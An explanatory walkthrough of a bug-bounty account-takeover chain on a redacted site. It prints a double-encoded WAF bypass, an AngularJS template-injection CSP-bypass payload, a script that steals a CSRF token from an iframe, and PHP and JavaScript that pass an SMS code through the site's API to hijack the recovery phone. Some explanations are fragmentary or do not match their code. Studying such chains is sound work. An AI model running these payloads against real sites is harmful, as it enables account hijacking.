The important detail is where the cookie value lands: inside script tags. A cookie value that reaches the inside of a script block is a script injection point. The browser is already inside a block of code, and the cookie's text is placed there as if it were part of that code. There is no need to break out of a paragraph or an attribute; the value is already in the place where code is expected.

Why this is the join between the two findings. Because the value arrives through a cookie, the CRLF primitive from the first step is a way to plant it. The attacker does not need to trick the victim into typing anything, and he does not need to find a page that reflects a URL parameter. He writes the cookie through the redirect, and the post-login page reads it back into a script block. The first link writes the cookie; this link reads it back into a place where the browser will run it.

There is one more thing to notice about this step, and it explains the next one. The reflection accepts <>, which is enough to close the surrounding script block and open a new one. But the site also had a filter in front of it, and the first attempt to use the reflection was blocked outright. That block, and the encoding trick that got past it, is the subject of step 3.

Step 3: Bypassing the CDN with double encoding

The previous step left the attacker with a page that prints the cookie value back into a script block. The obvious next move is to write a cookie containing a small piece of HTML and see whether the browser runs it. That move failed: the request never reached the site.

Sending the following in the cookie header caused the CDN to block the request hard:

Text
redacted=ORIGINALCOOKIE<img src=x>

Line by line, in plain words:

  • If the original value were dropped, the site might treat the request as a different user or ignore the cookie altogether.
  • <img src=x> is a small piece of HTML. It is the smallest possible probe, chosen because it does nothing harmful if it works and is easy to spot if it does not.

What blocked it. A CDN, Content Delivery Network, is a network of servers that sit in front of a site to cache and serve its content quickly. Many CDNs also inspect incoming requests and block ones that look like attacks, which is the same job a WAF, Web Application Firewall, does. The report uses "the CDN" and "the WAF" more or less interchangeably, and the practical effect is the same: a filter that reads the text of your request and refuses the ones it does not like. The CDN blocked the request before it reached the site.

He reads the name on your ticket, compares it to the list, and turns you away if it matches. The list is made of words and patterns, and the bouncer only knows how to compare text literally.

Why the researcher was stuck. The filter was doing its job correctly. The payload contained the exact characters the filter was looking for, so there was no way to send that payload through unchanged. The researcher says he was stuck at this point for a while. The way out was not to find a different reflection or a different cookie, but to change how the payload was written so that the filter and the application would read different things.

The double-encoding trick. After a few attempts and different encoding tests, the conclusion was that double encoding gets past the protection.

Text
scrip%25%37%34,

Line by line, in plain words:

  • The filter sees these five letters and does not object to them, because on their own they are not the banned word.
  • %25 is the percent sign, encoded. This is the first layer of encoding.
  • %37 is the digit 7, encoded.
  • %34 is the digit 4, encoded.

Why two layers are needed. A single layer of encoding would not be enough. If the attacker sent scrip%74, the filter would decode it once, see script, and block it, because a filter that inspects URLs is built to decode the ordinary URL encoding before comparing. The trick works because the filter decodes once and the application decodes twice. The filter's single decode turns %25%37%34 into %74, which is not the banned word, so the request passes. The application's second decode turns %74 into t, and the page ends up with script. The two sides are counting decodes differently, and that difference is the gap.

The everyday comparison is a bouncer who can read one code but not two.

What this means for the rest of the chain. From this point on, every payload in the report is written with some letters double encoded. The words the filter watches for, such as script, body, img and eval, are never sent in their plain form. They are sent as encoded text that the filter does not recognise, and the application decodes them back to the original words before reflecting them into the page. The report notes that some letters in the final link are triple encoded.

The next obstacle is not a filter but a rule the browser itself enforces. Even with the payload past the CDN, the browser still had to be willing to run it, and the site's Content Security Policy said which code the browser was allowed to run. Getting around that rule is the subject of step 4.

Step 4: Bypassing CSP with Angular template injection

The payload is now past the CDN. The browser still has to be willing to run it, and that is a separate decision made by a rule the site sends with every page. This step is about getting around that rule without breaking it, by using something the rule already trusts.

What a CSP is. A Content Security Policy, or CSP, is a rule the site sends to your browser in a response header. It says where code and other resources are allowed to come from. A typical policy might say "only run scripts from our own address", or "only connect to our own address", or "only load images from anywhere over HTTPS". The browser enforces the policy itself, so even if an attacker gets text onto the page, the browser may refuse to run it. The policy is not a filter that inspects requests on the way in, like the CDN; it is a rule the browser applies to the page it has already received.

The report deals with three parts of the policy, and each one blocks a different step of the chain:

  • This is the part that blocks the attacker's script in this step.
  • This is the part that blocks the attacker's attempt to fetch the SMS code in step 7.
  • This is the part the attacker uses to load the PNG payload in step 9.

The everyday comparison is a building with a strict rule about which photocopier may be used: only the building's own machine, no outside machines. The rule is enforced by the building, not by the person bringing the document, so there is no point arguing with the person.

The two months spent on the wrong thing. More than two months went into searching for a JSONP callback that the policy would allow, and the report is clear that this was the wrong thing to be looking for. JSONP, JSON with Padding, is an older technique for loading data from another site by wrapping it in a script. A JSONP callback is an address on some allowed site that returns data in a form the browser will run as code. The report says plainly that the researcher was looking all the time for the wrong thing.

The paper that changed the approach. What changed the approach was an old paper: the 2017 Black Hat talk "Don't Trust the DOM: Bypassing XSS Mitigations Via Script Gadgets", at https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf. Reading it turned the search towards script gadgets.

A script gadget is an existing script that the page already trusts, which can be made to execute attacker-controlled markup. The key word is "already trusts". A CSP that says "only run scripts from our own address" is not saying "only run scripts we wrote"; it is saying "only run scripts that come from our address". Any script on that address passes the rule, including old framework files, helper libraries and anything else the site happens to serve. If one of those scripts has a feature that turns text on the page into code, then the attacker does not need to get a new script past the policy at all. He only needs to get text onto the page and let the trusted script do the running.

The photocopier is doing exactly what it was built to do; the rule was never about the document, only about the machine.

Finding the gadget. The domain had plenty of JavaScript to look through. A large site loads dozens or hundreds of script files, and reading each one by hand is impractical. Two command-line tools did the job, and they are the same two introduced in the setup section.

gau was used to enumerate .js assets across the domain. The output is a long list of script addresses, most of them uninteresting: analytics snippets, tracking code, small helper files.

anti-burl was then used to filter that list down to files that returned HTTP 200 and contained the word "angular". Two conditions, in plain words:

  • 200 means "here it is, everything is fine".

Line by line, in plain words:

  • angular.min.js is the file name.

What AngularJS does. AngularJS is a framework, a chunk of ready-made code a site loads to save itself work, the way a cook might use a ready-made sauce instead of making it from scratch. It has a feature that matters here: it looks through the page for text written in double curly brackets, {{ like this }}, and treats that text as a small program to run.

The file runs AngularJS version 1.5.8, which the report identifies as suffering from a template injection DOM XSS.

Why the file's address matters. Because the file is served from the site's own domain, the CSP whitelists it, so a script tag pointing at it is allowed. That is the whole point of the script gadget idea, and it is why the two months spent on JSONP callbacks were wasted. The answer was not a new address the policy would allow; it was an old file the policy already allowed.

The payload. The payload loads that file and then uses Angular's ng-app directive to have the framework evaluate an expression:

HTML
<script src='https://www.redacted.com/angular/angular.min.js'></scripT><body ng-app>{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1))');}}</body>

Line by line, in plain words:

  • The src attribute is the address to load, and the single quotes around it are just a way of writing the address inside the tag.
  • </scripT> closes the script tag. This is the same idea as the double encoding in step 3, applied to letter case instead of percent signs.
  • Without this attribute, Angular would load but would not evaluate anything on the page.
  • Broken into pieces:
    • The browser sees a call to a function that the trusted AngularJS file provides, and the policy has no objection to that.

What the payload achieves. With this HTML reflected in the page, the researcher had a controlled JavaScript environment running under the strict CSP. The alert(1) is only the proof that the gadget fires; the rest of the work was about what to run in its place. The alert is the equivalent of knocking on the door to check someone is home. Once the door opens, the attacker can send in whatever he likes, and the next steps are about what he sends.

Why this step is the turning point. Up to here, the chain had a way to write a cookie and a page that reads it back into a script block, but the browser's own policy would have stopped the attacker's script from running. The AngularJS file removes that obstacle without breaking the policy: the policy is still enforced, the browser still refuses inline script, and the attacker's code still runs, because it runs through a file the policy trusts. The report's phrase for this is a "controlled javascript environment", and it is the point where the attacker stops planting text and starts running code in the victim's browser.

The next question is what to do with that code. A script that pops up an alert proves the bug exists, but it does not take over an account. The report is blunt about this: a simple alert(document.cookie) proof of concept earns a zero CVSS score and an informative rating. So the next step is to find an account feature that the running code can drive all the way to a takeover, and that is the subject of step 5.

Step 5: Choosing an impact path to account takeover

At this point the attacker has code running in the victim's browser, inside the victim's logged-in session. That is a real achievement, but it is not yet an account takeover. Two terms there need explaining.

A filter that misses a pattern is a coding mistake; a password reset that trusts a phone number the attacker just added is a design mistake. Logical flaws are the ones that turn "I can run code" into "I own the account", because they are the features that decide who is allowed to do what.

He tested three account features. Each one is a way a logged-in user can change something about their account, and each one is a candidate for the attacker's code to drive on the victim's behalf.

Feature Result Reason given
Add a secondary email Rejected It asks for the main account password when you log in after adding the new email
Change password Rejected It asks for the old password, which the attacker does not have
Change primary SMS phone Accepted It validates only the new phone by SMS, with no SMS to the old phone, no email confirmation and no password

Adding a secondary email. A secondary email is a backup address attached to the account, usually so the site can reach you if the main one stops working. The idea of attacking it is straightforward: if the attacker's code can add the attacker's own email address to the victim's account, then the attacker can use the "forgot password" flow, choose to receive the reset link at that address, and take the account. The feature was rejected because it asks for the main account password when you want to log in after you log in with the new email. In plain words: the site lets you add the address, but the next time you try to sign in using it, it wants the account's main password. The attacker does not have that password, so the added address is useless to him. The check is in the wrong place from the attacker's point of view, but it is there, and it closes the path.

Changing the password. This is the most direct path of all: if the attacker's code can set a new password, the account is his. It was rejected because the feature asks you to type the old password, which the attacker does not have. The site is asking the user to prove they already know the current password before letting them replace it, which is exactly the check that stops someone who has only borrowed the session from finishing the job.

A proof of concept that needs the victim to help is a weaker proof: a reviewer can always say "but a careful user would not have typed it".

Changing the primary SMS phone. A primary SMS phone is the phone number the account uses to receive text messages, and it is usually a recovery factor: a way to prove you are you when you have forgotten your password. The feature lets a logged-in user replace that number. It was accepted because it validates only the new phone by SMS, with no SMS to the old phone, no email confirmation and no password.

That sentence is worth unpacking, because each missing check is a separate door left open:

  • No SMS to the old phone. A careful design would send a warning or a code to the number being replaced, so that the person who currently controls the account has to agree to the change. Without it, the old owner is never asked.
  • No email confirmation. A careful design might send a message to the account's email address saying "your phone number is being changed", so the real owner finds out. Without it, the change happens silently.
  • No password. A careful design might ask for the account password, the same way the secondary-email feature does at the next login. Without it, anyone who can drive the flow from a logged-in session can complete it.

The only check is a code sent to the new number, and the attacker controls the new number. So the check validates the attacker's own phone, which is no check at all from the account owner's point of view.

Why this one was chosen. The phone change fits the researcher's preference for automation.

There is a second reason the phone change is the right target, and it is about what the attacker's code can and cannot do. The code runs in the victim's browser, with the victim's session, so it can make any request the victim could make. It cannot read the victim's password, and it cannot read the victim's email inbox. But it can fill in a form, and it can receive a text message on a phone the attacker owns. The phone change is the one feature among the three whose entire check is something the attacker can satisfy from outside the victim's browser. The secondary email needs the password at the next login, and the password change needs the old password; both are secrets the attacker cannot obtain by running code. The phone change needs only a code sent to a number the attacker chose.

What this choice sets up. The rest of the exploit exists to drive the phone-change flow from the victim's browser, with the victim's session and a valid CSRF token, so that the only remaining check is a code the attacker receives on his own phone. That is why the next steps are about tokens and requests rather than about more script tricks. The chain has its destination; the remaining work is the plumbing to get there.

The first piece of plumbing is the CSRF token. The phone-change request is a sensitive API call, and the site requires a token with it. The attacker's code has to find that token, and the report's next step is about where the token lives and how to read it from a page the attacker's code does not own.

Step 6: Stealing the anti-CSRF token from the iframe DOM

The phone-change request is a sensitive API call, and the site does not accept it from just anyone with a logged-in session. It wants a second proof, a value called a CSRF token, sent alongside the request. The attacker's code has to find that token before it can change anything. This step is about where the token lives, why the obvious way to read it is blocked, and how the attacker's code gets around the block without breaking any rule.

What a CSRF token is. CSRF stands for Cross-Site Request Forgery. The idea it defends against is simple: a logged-in user visits some other site, and that site quietly submits a form to the target in the user's name. The browser attaches the user's cookies automatically, so the target sees a request that looks like it came from the user. To tell a genuine form apart from a forged one, the site puts a secret value into the page it serves, and requires that value to come back with every sensitive request. A page on another site cannot read the secret, so it cannot include it, so its forged request is rejected. Think of it as a cloakroom that gives you a numbered ticket when you hand in your coat: the coat alone is not enough to get it back, you also need the ticket, and the ticket is only handed out at the counter.

The report says all sensitive API JSON calls send a CSRF-Token header. A header is a line of extra information that travels with a request or response, separate from the content. So every call that changes something important carries this token in a header named CSRF-Token, and the server checks it before doing anything.

Where the token is not. The report is specific about the places the researcher looked and did not find it. The token is not stored in cookies, not in HTTP responses, and not in local storage. Each of those is a normal place to keep a token, and each is worth explaining because the absence is the point.

  • Not in cookies. Cookies are the small pieces of text the browser sends back automatically on every request to a site. A token in a cookie would be sent by the browser on its own, which defeats the purpose: a forged request from another site would carry the cookie too.
  • Not in HTTP responses. The token does not appear in the body of any response the researcher could see. If it did, reading it would be a matter of fetching a page and searching the text.
  • Not in local storage. Local storage is a small store of text that a website can keep in the browser, separate from cookies, and that JavaScript on the page can read. A token there would be readable by any script on the site, which is convenient for the site's own code but also convenient for an attacker's.

The researcher says that until now he does not know exactly how the token is generated. That is not unusual: the important question for an attacker is not how a value is made but where it can be read.

Where the token is. After the page loads, a JavaScript library stores the token inside the <body> DOM element as an attribute, something like:

HTML
<body data-token="[redacted]="

Line by line, in plain words:

  • <body opens the body element, the part of the page that holds everything visible.
  • data-token="..." is an attribute on that element. An attribute is a named value attached to an element, written as a name, an equals sign and a value in quotes. The data- prefix is a convention in HTML for attributes that belong to the site's own code rather than to the browser; the browser stores them and does nothing with them, and JavaScript can read them.
  • [redacted]= is the token value. The trailing equals sign is typical of base64, a way of writing data using only ordinary letters and digits so it can travel safely through places that only accept text.

The report calls this "pretty interesting" and says it was the first time he had seen it. The placement matters for two reasons. First, the token is generated dynamically, so it is not a fixed value baked into the page; it is written there after the page loads. Second, it lives in the DOM, the browser's in-memory model of the page, which is exactly the place any script running on that page can read. A token in the DOM is a token that same-origin script can take.

The obstacle: X-Frame-Options. The obvious way to read the token from another site would be to put the target's page inside an iframe on the attacker's page and read the token out of the inner document. The outer page is the parent, the inner page is the child, and the parent's JavaScript can normally reach into the child and read its contents, as long as both pages are on the same origin.

The report says all Redacted sites send X-Frame-Options: SAMEORIGIN. This is a response header that tells the browser whether the page may be displayed inside a frame. SAMEORIGIN means "only allow this page to be framed by a page on the same origin as me". An origin is the combination of protocol, host and port, so https://www.redacted.com is one origin and https://evil.com is another. The attacker's page is on a different origin, so the browser refuses to display the target's page inside the attacker's iframe. The everyday comparison is a shop that will only serve people who came in through its own door: you cannot look in through a window from the building next door.

So the attacker cannot frame the target from evil.com. That closes the obvious route.

The way around it. The attacker's code is not running on evil.com. It is running on www.redacted.com, injected through the reflected cookie from step 2 and the Angular gadget from step 4. That code is already in the target's origin. X-Frame-Options: SAMEORIGIN is satisfied when the parent page is on the same origin as the framed page, and here the parent page is the target's own page, with the attacker's script running inside it. So the script can create the iframe itself and read the token from the child document:

JavaScript
var profileIframe = document.createElement(‘iframe’); profileIframe.setAttribute(‘src’, ‘https://www.redacted.com/settings/phoneadd');profileIframe.setAttribute(‘id’, ‘miframe’); document.body.appendChild(profileIframe); document.getElementById(‘miframe’).onload = function() { var csrf = profileIframe.contentDocument.getElementsByTagName(“body”).item(“data”).dataset.token;

Line by line, in plain words:

  • var profileIframe = document.createElement(‘iframe’); creates a new iframe element in memory. It is not on the page yet; it is just an object the script holds.
  • profileIframe.setAttribute(‘src’, ‘https://www.redacted.com/settings/phoneadd'); sets the iframe's src attribute, which is the address it will load. The address is the phone-add settings page on the target, the page that carries the token. The report shows the closing quote as a straight quote and the opening one as a curly quote; the browser treats them the same in this context.
  • profileIframe.setAttribute(‘id’, ‘miframe’); gives the iframe an id of miframe, so the script can find it again later by that name.
  • document.body.appendChild(profileIframe); puts the iframe on the page. The browser now starts loading the phone-add page inside it.
  • document.getElementById(‘miframe’).onload = function() { finds the iframe by its id and attaches a function to its onload event. The onload event fires when the iframe has finished loading its page, which is the moment the token is guaranteed to be in the child document.
  • var csrf = profileIframe.contentDocument.getElementsByTagName(“body”).item(“data”).dataset.token; is the line that reads the token. Broken into pieces:
    • profileIframe.contentDocument is the child page's document, the browser's model of the page inside the iframe. The parent script can reach it because both pages are on the same origin.
    • .getElementsByTagName(“body”) finds the body element inside that document.
    • .item(“data”) selects an item from that collection. The report's snippet is abbreviated here; the point is that the script reaches the body element and then its attributes.
    • .dataset.token reads the data-token attribute. dataset is the browser's way of exposing every data- attribute as a property, so data-token becomes dataset.token. The value assigned to csrf is the token.

The researcher tested it and reports that it worked. The everyday comparison is a shop that will only serve people who came in through its own door: the attacker's script did not come in through the door from outside, it is already inside the shop, so it can walk up to the counter and read the ticket.

Why the header did not help. X-Frame-Options: SAMEORIGIN is a defence against cross-origin framing. It stops evil.com from putting the target's page in a frame and reading it. It does nothing against script that is already running on the target's own origin, because that script is not cross-origin at all. The header was correct for the threat it was designed against, and the chain simply did not present that threat. The attacker did not need to frame the target from outside; he needed to frame it from inside, and the header allows that.

What the token unlocks. With the token in hand, the attacker's code can make the phone-change request the same way the site's own page would: with the victim's session cookies attached automatically by the browser, and with the CSRF-Token header set to the value just read. The server sees a request that carries a valid token, so it treats it as genuine. The next step is to send that request and deal with the SMS code it triggers.

There is one more thing to notice about this step. The token is read from a page the attacker's code does not own, but the code does not need to own the page. It only needs to be on the same origin, and the chain has already put it there. That is the pattern of the whole exploit: each defence is correct in isolation, and each is bypassed by using a resource the defence already trusts. Here the trusted resource is the target's own origin.

Step 7: Sending the phone-change request and the SMS provider problem

With the token in hand, the attacker's code has everything it needs to make the phone-change request look genuine: the victim's session cookies, which the browser attaches automatically, and a valid CSRF-Token header. The next job is to actually drive the feature, and to receive the code it sends. Both turned out to be harder than they looked.

The flow. The report describes the intended sequence as five steps:

  1. Load the change phone number page.
  2. Grab the CSRF token.
  3. Submit the form with the new phone number.
  4. Connect back to the attacker's page to get the SMS six-digit code.
  5. Submit the six-digit code to complete the phone change.

Line by line, in plain words:

  • Step 1, load the page. The attacker's script creates an iframe pointing at the phone-add settings page, the same iframe from step 6. Loading the page is what causes the site's own JavaScript to run and write the token into the <body> element. Without loading the page, there is no token to read.
  • Step 2, grab the token. The script reads data-token from the child document, as covered in step 6. This is the value that will be sent in the CSRF-Token header on the next request.
  • Step 3, submit the form. The script sends the phone-change request with the attacker's phone number, carrying the victim's cookies and the token. The site accepts it because the token is valid, and sends a six-digit code by SMS to the new number, which is the attacker's.
  • Step 4, get the code. The code arrives on the attacker's phone. Something has to carry it from the phone network back to the script running in the victim's browser. This is the step that caused the most trouble, and the rest of this section is mostly about it.
  • Step 5, submit the code. The script sends the six-digit code to the phone validation endpoint. The site checks it against the code it sent, it matches, and the phone number is changed. From that moment the attacker's phone is the account's recovery number.

The everyday comparison is a bank that will change the phone number on your account if you can answer a code sent to the new number. The attacker fills in the form, the bank texts the code to the attacker's phone, the attacker reads it and types it back, and the bank is satisfied. The only thing the attacker needs is a way to read his own text messages from inside the victim's browser.

Problem one: the SMS provider. The first attempt used the Twilio API. An API, or Application Programming Interface, is a way for one piece of software to talk to another: your code sends a request to an address, and gets data back, usually in a format called JSON.

The researcher then spent time finding an SMS provider that can receive short SMS messages and send an HTTP API callback, and settled on one. Two phrases there need unpacking.

  • Short SMS messages. Many automated SMS services are built for longer messages, such as notifications or marketing texts. A six-digit code is a very short message, and not every provider handles one reliably.
  • An HTTP API callback. A callback is a request that a service sends to you when something happens, rather than a request you send to it. The provider, when a message arrives at the attacker's number, sends a request to a web address the attacker controls, carrying the message text. The report gives the callback address as http://myserver.com/sms.php?Text=SMSmessagebodyfromsite, which is covered in step 8.

The everyday comparison is a receptionist who takes a message for you and then phones you to read it out. You do not have to keep calling the receptionist to ask whether anything arrived; the receptionist calls you. The provider is the receptionist, and the attacker's PHP server is the phone that answers.

Problem two: the CSP blocks the way back. With a provider sorted, the next problem was how the code would get from the attacker's server into the script running in the victim's browser. The obvious answer is for the script to fetch the code from the attacker's server with an XMLHttpRequest, the browser's built-in way of making a request from JavaScript. That request goes to an external host, and the site's Content Security Policy stopped it.

The report says the connect-src CSP header was blocking all outgoing traffic. connect-src is the part of the Content Security Policy that controls where the page may send network requests to. The connect-src CSP header blocked all outgoing traffic, with connect-src to *.redacted.com. The * is a wildcard meaning "any subdomain", so the rule reads: this page may send requests to any address under redacted.com, and to nothing else. A request to myserver.com or evil.com is outside that rule, so the browser refuses to send it.

This is the same kind of rule that blocked the attacker's script in step 4, applied to a different kind of traffic. In step 4 the rule was script-src, which controls where scripts may be loaded from. Here it is connect-src, which controls where the page may connect. The browser enforces both, and the attacker cannot argue with the browser.

The everyday comparison is a building where the phones only dial internal extensions. You can call anyone in the building, but you cannot call outside, no matter how much you want to. The attacker's script is inside the building, and the code it needs is outside.

Why this mattered so much. The whole point of the chain is to complete the phone change without the victim's help. The attacker's script can send the phone-change request and can submit the six-digit code, but only if it can learn the code. The code arrives on the attacker's phone, outside the browser. If the script cannot reach outside, it cannot learn the code, and the phone change cannot be completed. The chain would stop one step short of the takeover.

The researcher says he struggled a bit here, and it is easy to see why. The two obvious routes are both closed: the script cannot fetch from the attacker's server because of connect-src, and the attacker's server cannot push into the browser because browsers do not accept unsolicited connections from outside. Something else had to carry the code across the boundary, and it had to be something the policy already allowed.

The way out. The answer was to reverse the direction. Instead of the browser pulling the code from outside, the attacker's server pushes the code into the target's own API, and the browser reads it back from there. Because the API is on *.redacted.com, the connect-src rule allows the browser to reach it, and the code crosses the boundary inside a request the policy was always going to permit. The report describes reading the API documentation and using an item with a description that the PHP script changes and the JavaScript payload later reads.

That is the subject of step 8. The important thing to notice here is the shape of the solution: the attacker did not break the CSP, and did not find a hole in it. He found a host the policy already trusted, and used that host as a postbox. The next step shows the postbox in action, with the PHP script that receives the SMS and the JavaScript that reads the code back and submits it to the phone validation endpoint.

Step 8: Using the site API as a cross-communication channel

The previous step ended with a dead end. The attacker's script is running inside the victim's browser, the six-digit code is arriving on the attacker's phone, and the browser is not allowed to fetch anything from outside *.redacted.com. The way out was to stop trying to pull the code in from outside and instead push it into a place the browser is already allowed to talk to: the target's own API.

What an API is, again. An API, or Application Programming Interface, is a way for one piece of software to talk to another.

The idea in plain words. The attacker's server receives the SMS and writes the six-digit code into an item on the target's API, using a field called description. The victim's browser then reads that same item back from the API, takes the code out of the description field, and submits it to the phone validation endpoint. Because every request in that round trip goes to *.redacted.com, the connect-src rule is satisfied and the CSP never blocks anything. The everyday comparison is two people who cannot phone each other directly, so they both leave messages in the same postbox: one drops the code in, the other collects it, and neither ever has to reach outside the building.

The report describes reading the API documentation and creating an item with a description, which the PHP script changes and the JavaScript payload later reads. Two pieces of code do the work: a PHP script on the attacker's server, and a JavaScript snippet in the victim's browser.

The PHP side: receiving the SMS and writing it to the API. When a text message arrives at the exploit number, the SMS gateway calls the attacker's script at:

Text
http://myserver.com/sms.php?Text=SMSmessagebodyfromsite

Line by line, in plain words:

  • The report uses http here, not https.
  • /sms.php is the PHP file that runs when the request arrives. PHP is a programming language commonly used for web servers.
  • The provider fills this in with the message it received, which in this case is the six-digit code.

So the provider hands the message text to the script as a parameter called Text. The script then does two things: it pulls the six digits out of that text, and it writes them into the target's API. Here is the code:

The report presents this as one long block with no line breaks, so the explanation below follows it in the order it runs, piece by piece.

Pulling the code out of the message.

  • $var = $_GET[‘Text’]; reads the Text parameter from the incoming request and stores it in a variable called $var. $_GET is PHP's built-in way of reading values that arrived in the query string, the part of the address after the question mark. So $var now holds the text of the SMS.
  • preg_match(‘/([0–9])\w+/’, $var, $matches); runs a regular expression against that text. A regular expression, or regex, is a pattern for matching text, a little like a search rule. The report's comment calls it a "simple regex to get the code". The pattern ([0–9])\w+ looks for a digit followed by one or more word characters, and the brackets capture the match. The results land in $matches.
  • $code = $matches[0]; takes the first captured match and stores it in $code. That is the six-digit code, pulled out of whatever surrounding text the SMS contained.

Getting a token from the API.

  • $ch = curl_init(); starts a new request using cURL, PHP's library for making HTTP requests. $ch is the handle for that request.
  • curl_setopt($ch, CURLOPT_URL, ‘https://api.redacted.com/v1/oauth2/token'); sets the address the request will go to. This is the API's token endpoint, the address that hands out access tokens.
  • curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); tells cURL to return the response as a value instead of printing it, so the script can read it.
  • curl_setopt($ch, CURLOPT_POST, 1); makes this a POST request, the kind used to send data to a server.
  • curl_setopt($ch, CURLOPT_POSTFIELDS, “grant_type=client_credentials”); sets the body of the request. grant_type=client_credentials is the OAuth grant type that says "I am an application proving who I am with my own credentials, not a user logging in". OAuth is a standard way for applications to get permission to call an API, and an access token is the value it hands back.
  • curl_setopt($ch, CURLOPT_USERPWD, ‘REDACTED’ . ‘:’ . ‘REDACTED’); sets the username and password for HTTP basic authentication, written as username:password. The report has replaced both with REDACTED, so the real client credentials are not shown. This is how the application proves who it is.
  • $headers = array(); starts an empty list of headers.
  • $headers[] = ‘Accept: application/json’; asks the server to answer in JSON, a text format for structured data.
  • $headers[] = ‘Accept-Language: en_US’; says the client prefers US English, a standard header that most APIs ignore but some require.
  • $headers[] = ‘Content-Type: application/x-www-form-urlencoded’; says the body is in the form format, the same name=value style used in query strings.
  • curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); attaches the header list to the request.
  • $result = curl_exec($ch); sends the request and stores the response in $result.
  • if (curl_errno($ch)) { echo ‘Error:’ . curl_error($ch);} checks whether the request failed at the network level and prints the error if so.
  • curl_close($ch); closes the request handle.
  • $json = json_decode($result); turns the JSON response into a PHP object the script can read.
  • $token = $json->access_token; //access token from api takes the access_token field out of that object. This is the OAuth token, the value that proves the application is allowed to call the API.

Writing the code into the API.

  • $ch = curl_init(); starts a second request.
  • curl_setopt($ch, CURLOPT_URL, ‘https://api.redacted.com/v1/redactedendpoint'); sets the address to an API endpoint, with the real endpoint name replaced by redactedendpoint. The report calls it "some random API endpoint", meaning any endpoint the attacker can write to.
  • curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); again asks for the response as a value.
  • curl_setopt($ch, CURLOPT_CUSTOMREQUEST, ‘PATCH’); sets the HTTP method to PATCH. A method is the verb of a request: GET asks for data, POST creates something, PUT replaces something, and PATCH changes part of something. PATCH is the right verb for changing one field of an existing item.
  • curl_setopt($ch, CURLOPT_POSTFIELDS, “[\n {\n \”op\”: \”replace\”,\n \”path\”: \”/description\”,\n \”value\”: \”$code\”\n }\n]”); sets the body. The report's comment explains it: "we just set the description value of some random API endpoint on Redacted API to the 6 digits code from the SMS text here". The body is a JSON Patch, a standard format for describing changes to a JSON document. Broken into pieces:
    • The outer [ ... ] is a list of operations.
    • { ... } is one operation.
    • "op": "replace" says the operation is a replacement.
    • "path": "/description" says which field to replace: the description field of the item.
    • "value": "$code" says what to put there. $code is the six-digit code the script pulled out of the SMS, so the description becomes the code.
  • $headers = array(); starts a fresh header list.
  • $headers[] = ‘Content-Type: application/json’; says the body is JSON.
  • $headers[] = “Authorization: Bearer $token”; sends the token from the first request. Bearer is the standard word for "the token follows", and $token is the value just obtained. This is how the API knows the request is authorised.
  • curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); attaches the headers.
  • $result = curl_exec($ch); sends the PATCH.
  • if (curl_errno($ch)) { echo ‘Error:’ . curl_error($ch);} and curl_close($ch); check for errors and close the handle, the same as before.

When this script finishes, the six-digit code is sitting in the description field of an item on the target's own API. The attacker's server has done its job; the code is now inside *.redacted.com, where the victim's browser is allowed to reach it.

The JavaScript side: reading the code back and submitting it. The script running in the victim's browser does the same two calls in reverse, then submits the code to the phone validation endpoint:

Line by line, in plain words:

  • var req2 = new XMLHttpRequest(); creates a request object. XMLHttpRequest is the browser's built-in way of making a network request from JavaScript, the same mechanism the CSP's connect-src rule governs.
  • var url = “https://api.redacted.com/v1/oauth2/token"; sets the address to the API's token endpoint, the same one the PHP script used.
  • req2.open(“POST”, url, true); prepares a POST request to that address. The true means the request runs asynchronously, so the page keeps working while it is in flight.
  • req2.setRequestHeader(“Accept”, “application/json”); asks for a JSON response.
  • req2.setRequestHeader(“Authorization”, “Basic REDACTED”); sends the client credentials in HTTP basic authentication. The report has replaced the real value with REDACTED, so the actual credentials are not shown. This is the same proof of identity the PHP script sent.
  • params = “grant_type=client_credentials”; sets the body to the client-credentials grant, the same as the PHP side.
  • req2.send(params); sends the request.
  • document.write(“<br/>Debug: getting the 6 digits code…”); writes a debug line into the page, so the researcher can see the stage reached. document.write puts text directly into the page as it loads.
  • req2.onload = function() { attaches a function that runs when the response arrives.
  • if (req2.status == 200) { checks that the request succeeded. 200 means "here it is, everything is fine".
  • var token = JSON.parse(req2.response).access_token; parses the JSON response and takes the access_token field. This is the browser's own OAuth token, separate from the one the PHP script obtained.
  • document.write(“<br/>Debug: api token: “ + token); writes the token into the page as debug output.
  • var req3 = new XMLHttpRequest(); creates a second request.
  • var url2 = “https://api.redacted.com/redactedendpoint/"; sets the address to the same API endpoint the PHP script wrote to.
  • req3.open(“GET”, url2, true); prepares a GET request, the verb for reading data.
  • req3.setRequestHeader(“Content-Type”, “application/json”); and req3.setRequestHeader(“Authorization”, “Bearer “ + token ); send the token from the previous step, so the API knows the request is authorised.
  • req3.send(); sends the GET.
  • req3.onload = function() { and if (req3.status == 200) { wait for the response and check it succeeded.
  • var code = JSON.parse(req3.response).description; parses the JSON and takes the description field. That is the six-digit code the PHP script wrote there.
  • document.write(“<br/>Debug: SMS code grabbed from api: “ + code); writes the code into the page as debug output.
  • var req4 = new XMLHttpRequest(); creates a third request.
  • var url3 = “https://www.redacted.com/redacted/phonevalidation"; sets the address to the phone validation endpoint, the one that accepts the six-digit code.
  • req3.open(“PUT”, url3, true); prepares a PUT request to that address. The report's snippet reuses req3 here rather than req4; the intent is a request to the validation endpoint.
  • req3.setRequestHeader(“Content-Type”, “application/json”); says the body is JSON.
  • req3.setRequestHeader(“CSRF-Token”, csrf); sends the CSRF token stolen from the iframe in step 6. This is the header the site requires on sensitive calls, and without it the request would be rejected.
  • var params2 = ‘{“”code”:”’+ code +’”}’; builds the body: a JSON object with a code field holding the six-digit code. The report's snippet has a doubled quote in “”code”, which is a typo in the write-up; the intent is {"code":"<the code>"}.
  • req3.send(params2); sends the request.
  • req3.onload = function() { document.write(“<br/>Debug: Phone validated successfully, your phone has been changed<br/><b>go to lost password by SMS and pwn it<b/>”); } runs when the response arrives and writes a message saying the phone has been changed, with a note to go to the lost-password flow by SMS. The <b> tags are HTML for bold, and the closing <b/> is malformed, but the message is only debug output.

